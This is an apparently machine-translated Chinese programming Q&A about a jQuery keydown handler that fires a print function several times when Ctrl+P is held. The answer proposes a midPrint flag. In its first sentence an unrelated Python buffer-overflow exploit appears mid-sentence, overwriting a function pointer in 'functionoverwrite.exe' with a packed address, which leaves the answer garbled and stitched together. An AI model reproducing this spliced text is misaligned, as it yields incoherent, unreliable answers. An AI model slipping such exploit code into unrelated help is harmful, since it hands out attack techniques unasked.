keydown函数多次调用

时间:2019-02-16 08:56:55

标签: jquery

我有验证码

"$(document).on("keyup keydown", function(e){
             if(e.ctrlKey && e.keyCode == 80){
              event.preventDefault();
              console.log('keydown');
              printDiv();
              return false;
            //counterr = 1;
            }
            });"

我正在呼叫:

 function printDiv()
    {
       //things you want to happen.here creating and printing new html of current page.

            var width  = (screen.width*0.75);
        var height = (screen.height*0.75);
        var left   = (screen.width  - width)/2;
        var top    = (screen.height - height)/2;
        var params = 'width='+width+', height='+height;
        params += ', top='+top+', left='+left;
        params += ', directories=no';
        params += ', location=no';
        params += ', menubar=no';
        params += ', resizable=no';
        params += ', scrollbars=yes';
        params += ', status=no';
        params += ', toolbar=no';
        params += ', fullscreen=no';

    if((navigator.appName)=="Microsoft Internet Explorer")
         {
              var mywindow = window.open('');               
         }
         else
         {
            var mywindow = window.open('',"Print Results",params);      
         }
         var wholeDocument = document.getElementById("myclient").innerHTML;
    //     console.log(wholeDocument);
    mywindow.document.write("<link type=\"text/css\" href=\"src/styles.scss\" rel=\"stylesheet\"><div id=\"ownclient\">"+ wholeDocument +"</div>"); //path of your css and append the html you want to print.
    console.log('printing');
    mywindow.innerWidth=width; //set the width and height variables.
        mywindow.innerHeight=height;
        mywindow.focus();
        mywindow.print();
    }


    $(document).ready(function () {
        $('#bpc-common-table').on('mouseenter', function () {
            $('.ui-cell-data').on('mouseenter', function () {
               setTimeout(function(){
                $('.ui-tooltip').addClass('ui-tooltipDynamic');
               },1000)
            });
            $('.ui-cell-data').on('mouseleave', function () {
            });
        });
        $('.control-label.ddgenquestion03').eq(2).css('margin- 
       top','10px');


    });

上面的函数采用html形式的给定id并创建一个新的打印窗口。

在按Ctrl + P时,printDiv函数正在多次调用。不知道写什么,我试图为柜台,但没有工作。有任何想法吗?

1 个答案:

答案 0 :(得分:0)

当浏览器识别到#!/usr/bin/python import sys import subprocess import struct # 20+4+8+4=36 would overwrite 'r', but we only want to hit the func ptr jackpot = 0x401591 # we only take 3 of the 4 bytes because strings cannot have a null, # but will be null terminated terminated to complete the dword address jackpot_packed = struct.pack('L', jackpot)[0:3] arg = "A" * 20 arg += jackpot_packed # or # arg += "\x91\x15\x40" subprocess.call(['functionoverwrite.exe', arg]) 事件时,您将发送打印命令,按住这些键时会重复发生。按住键的时间越长,您将拥有更多的打印命令。

您需要检查您是否处于打印功能的中间,我在下面创建了一个示例,其中创建了一个keydown布尔变量,该变量设置为 midPrint即将发送打印命令之前。如果是,则脚本将不会再次触发打印功能。

这仅在释放P键(即true事件)时才反转为false


演示

keyup
// Boolean storing whether you have sent a print command
midPrint = false;


// An example printDiv function - replace with your own
function printDiv() {
 console.log("Print"); 
}


// Removed 'keyup' so event only fires on 'keydown'
$(document).on("keydown", function(e){

    // Add a check to see if we are already in the middle of printing
    // !midPrint checks if the value of midPrint is NOT true
    if(e.ctrlKey && e.keyCode == 80 && !midPrint){
      midPrint = true;
      e.preventDefault();
      printDiv();
    }
    
});


// Add 'keyup' event for the key 'p'
$(document).on("keyup", function(e){

    // Reset the midPrint variable to false, so user can send a new print command with a new press of the key 'p'
    if(e.keyCode == 80 && midPrint){
      midPrint = false;
    }
    
});

相关问题